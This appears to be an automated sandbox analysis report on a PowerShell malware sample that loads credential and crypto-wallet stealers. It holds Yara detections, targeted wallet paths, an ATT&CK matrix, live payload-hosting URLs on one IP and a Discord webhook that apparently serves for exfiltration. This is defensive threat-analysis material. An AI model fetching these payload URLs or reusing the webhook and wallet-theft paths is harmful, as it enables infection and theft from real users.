Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: RegAsm.exe, 0000000D.00000002.4531489590.0000000005716000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 0000000D.00000002.4520096797.000000000339B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000000.00000002.2095491036.00007FF8490E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 0000000D.00000002.4520096797.000000000339B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	312 Process Injection	111 Obfuscated Files or Information	LSASS Memory	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Scheduled Task/Job	1 DLL Side-Loading	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Masquerading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	151 Virtualization/Sandbox Evasion	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	21 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	312 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CKi4EZWZsC.ps1	5%	Virustotal		Browse
CKi4EZWZsC.ps1	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://147.45.44.131/infopage/tvsqyp.exep	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/trwx.ps1a	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/trwesf.exe	100%	Avira URL Cloud	malware
http://147.45.44.131/infopage/trwx.ps1O	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/egq53qs.bat	100%	Avira URL Cloud	malware
http://147.45.H	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/trwx.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCusyy	0%	Avira URL Cloud	safe
http://147.4	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/tvsqyp.exe	100%	Avira URL Cloud	malware
http://147.45.44.131/infopage/trwx.ps1x	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/trwx.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCusernam	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/td	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/trwx.ps1	100%	Avira URL Cloud	malware
http://147.45.44.131/infopage/trwx.ps1?	100%	Avira URL Cloud	malware
http://147.45.44.131/infopage/trwx.ps1w	0%	Avira URL Cloud	safe
http://147.45.44	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/t	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/trwx.ps1m	0%	Avira URL Cloud	safe
http://147.45.44X	0%	Avira URL Cloud	safe
http://147.4.131	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/egq53qs.bat	true	Avira URL Cloud: malware	unknown
http://147.45.44.131/infopage/trwesf.exe	true	Avira URL Cloud: malware	unknown
http://147.45.44.131/infopage/trwx.ps1	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/tvsqyp.exep	powershell.exe, 00000005.00000002.2214594466.000001C572930000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090332553.000002AC7094F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090499411.000002AC70927000.00000004.00000020.00020000.00000000.sdmp, ivm1acbc.dll.7.dr	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.2087317600.000001D59CBD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2087317600.000001D59CA94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2060937357.000001D58E449000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C510091000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.H	powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/trwx.ps1a	RegAsm.exe, 0000000D.00000002.4532598752.0000000005731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000000.00000002.2060937357.000001D58DBCD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500F40000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v6/users/	RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_seeaCould	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/trwx.ps1O	RegAsm.exe, 0000000D.00000002.4514834650.000000000140B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://james.newtonking.com/projects/json	RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/trwx.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCusyy	cvtres.exe, 00000008.00000002.2090095144.0000022379939000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.newtonsoft.com/jsonschema	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500485000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131	powershell.exe, 00000000.00000002.2060937357.000001D58DBCD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/tvsqyp.exe	powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090529593.000002AC70938000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090421070.000002AC70938000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2091362589.000002AC7231B000.00000004.00001000.00020000.00000000.sdmp, ivm1acbc.0.cs.5.dr	false	Avira URL Cloud: malware	unknown
http://147.4	curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/trwx.ps1x	powershell.exe, 00000005.00000002.2206438069.000001C570470000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/trwx.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCusernam	cvtres.exe, 00000008.00000002.2090125789.0000022379C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/trwx.ps1w	curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/td	curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354cIt	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://ipinfo.io/ip	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty	powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500485000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501B21000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/trwx.ps1?	curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.2087317600.000001D59CBD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2087317600.000001D59CA94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2060937357.000001D58E449000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C510091000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/t	curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/trwx.ps1USERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAM	RegAsm.exe, 0000000D.00000002.4514342356.0000000001350000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4512742368.00000000012B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4518357196.00000000015D0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4533567952.0000000005835000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.2060937357.000001D58CA21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_see	powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.2060937357.000001D58CA21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.0000000003161000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44	powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/trwx.ps1m	curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44X	powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.4.131	curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	true
157.20.182.177	unknown	unknown		24297	FCNUniversityPublicCorporationOsakaJP	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584679
Start date and time:	2025-01-06 07:58:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	CKi4EZWZsC.ps1 renamed because original name is a hash value
Original Sample Name:	f7181e485d0bc7cd60c3bd41ec47a038.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winPS1@24/18@0/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 93% Number of executed functions: 68 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7312 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:58:57	API Interceptor	55x Sleep call for process: powershell.exe modified
01:59:09	API Interceptor	9038350x Sleep call for process: RegAsm.exe modified
07:59:01	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	iviewers.dll	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	2 ps1.ps1	Get hash	malicious	KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/hgfpj.exe
157.20.182.177	iviewers.dll	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	ersyb.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
